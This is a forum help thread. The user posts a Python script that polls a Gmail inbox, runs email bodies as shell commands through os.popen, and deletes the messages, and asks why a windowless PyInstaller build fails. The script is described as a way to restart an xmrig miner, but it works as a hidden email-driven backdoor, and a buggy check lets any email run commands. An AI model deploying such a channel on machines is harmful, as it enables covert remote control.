Python Forum
Pyinstaller can not execute script. - Printable Version

+- Python Forum (https://python-forum.io)
+-- Forum: Python Coding (https://python-forum.io/forum-7.html)
+--- Forum: General Coding Help (https://python-forum.io/forum-8.html)
+--- Thread: Pyinstaller can not execute script. (/thread-15686.html)



Pyinstaller can not execute script. - negru555 - Jan-27-2019

import imaplib
import email
import os
import box
import smtplib


def obtineID():
    f = open("id.txt", "r")
    ID = f.read()
    return ID
ID = obtineID()
Sender = "[OUTPUT]"+ID


























server = smtplib.SMTP( "smtp.gmail.com", 587 )

server.starttls()

server.login( 'email', 'pass' )



trimite = lambda a : server.sendmail( 'email', 'email', a )
while True:
    mail = imaplib.IMAP4_SSL('imap.gmail.com')
      
    mail.login('email', 'pass')
      
      
    mail.list() 
    mail.select('inbox') 
    result, data = mail.uid('search', None, "All")
      
    i = len(data[0].split())
    allow = False
    for x in range(i):
        latest_email_uid = data[0].split()[x] 
        result, email_data = mail.uid('fetch', latest_email_uid, '(RFC822)')
      
        raw_email = email_data[0][1]
      
        raw_email_string = raw_email.decode('utf-8')
      
        email_message = email.message_from_string(raw_email_string)
      
        for part in email_message.walk():
            if part.get_content_type() == "text/plain": 
                body = part.get_payload(decode=True)
                messajbody = body.decode('utf-8')
                if "[INPUT]"+"["+ID+"]" in messajbody or "[INPUT]"+"[ALL]":
                    

                    messajbody = messajbody.replace("\n","")

                    messajbody = messajbody.replace(("[INPUT]"+"["+ID+"]"),"")
                    messajbody = messajbody.replace("\\","\\\\")

                    if "online" in messajbody:
                        trimite("["+ID+"]"+" este online")
                        continue
                    p = os.popen(messajbody)
                    muie = p.read()
                    muie = muie.encode("utf-8")
                    
                    
                    allow = True
                    

                


    if allow == True:
        
        box = imaplib.IMAP4_SSL('imap.gmail.com', 993)
        box.login("email","pass")
        box.select('INBOX')
        typ, data = box.search(None, 'ALL')
        for num in data[0].split():
            
            box.store(num, '+FLAGS', '\\Deleted')
            box.expunge()
            allow = False
Hello.I am using the above code for controling my rig in case it shuts down.I just send an email something like [INPUT][P5]%HOMEPATH%\Desktop\xmrig.exe and it works fine.
A friend of mine asked me for it and I tried to make it a .exe file using pyinstaller.The problem is if I use --windowed or --noconsole when I send an instruction through email I get a pop up with "Failed to execute script remotescript".However if I dont use --windowed It works perfectly fine. Also I am using --onefile.Can anyone explain why is this happening?